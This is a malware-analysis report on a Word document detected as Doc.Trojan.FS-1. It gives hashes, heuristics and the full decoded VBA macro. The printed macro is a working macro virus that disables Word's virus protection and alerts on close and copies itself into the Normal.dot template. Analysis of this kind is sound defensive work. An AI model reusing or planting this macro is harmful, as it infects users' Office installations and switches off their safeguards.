Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 352227771f2f716d…

MALICIOUS

Office (OLE)

26.0 KB Created: 1999-08-31 21:47:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 7d1d90f7e0a62b584e73933071c03efd SHA-1: 31584f680876e4712de2e6c735d18981be06196a SHA-256: 352227771f2f716d8fbcd367cf0c30624d872c5af9147c065339c71392e086be
80 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file is identified as malicious by ClamAV with the signature Doc.Trojan.FS-1. It contains VBA macros that are designed to execute code upon document closure. The macro attempts to add its own code to the Normal.dot template, potentially for persistence or further execution, though the exact payload is not directly observable.

Heuristics 2

  • ClamAV: Doc.Trojan.FS-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.FS-1
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 966 bytes
SHA-256: 3ca5c8b50fa7ff849d2a976dafaeb6e33d131526ce1e3d20f706f54e07cf4f9a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
'Copyright (C) 1998 by FlyShadow ~^^~ - Anoia
Private Sub Document_Close()
On Error Resume Next
ι = ActiveDocument.Saved
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Application.DisplayAlerts = 0
Options.ConfirmConversions = 0
Application.EnableCancelKey = 0
If Len(ActiveDocument.Path) Then
Set α = IIf(MacroContainer <> NormalTemplate, NormalTemplate, ActiveDocument).VBProject.VBComponents(1).CodeModule
Set υ = ThisDocument.VBProject.VBComponents(1).CodeModule
If Not α.Find("~^^~", 0, 0, 0, 0) Then α.AddFromString υ.Lines(1, υ.CountOfLines)
If Not ActiveDocument.ReadOnly Then ActiveDocument.Save
End If: ActiveDocument.Saved = ι
End Sub

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